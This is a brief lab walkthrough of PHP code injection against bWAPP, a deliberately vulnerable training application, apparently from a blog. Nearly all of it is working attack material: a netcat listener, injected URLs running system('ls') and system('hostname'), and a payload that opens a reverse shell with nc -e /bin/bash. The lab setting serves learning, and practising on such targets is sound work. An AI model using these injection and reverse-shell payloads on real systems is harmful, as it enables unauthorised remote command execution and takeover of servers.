Commands

Listen for a connection

nc -lvp 4444

list the files

http://192.168.20.131/bWAPP/phpi.php?message=system(‘ls‘)

view the hostname

http://192.168.20.131/bWAPP/phpi.php?message=system(‘hostname’)

Make a connection to the remote host

http://192.168.20.131/bWAPP/phpi.php?message=system(‘nc -vn 192.168.20.131 4444 -e /bin/bash’)

Demonstration Of The Attack

If you have any questions please comment below.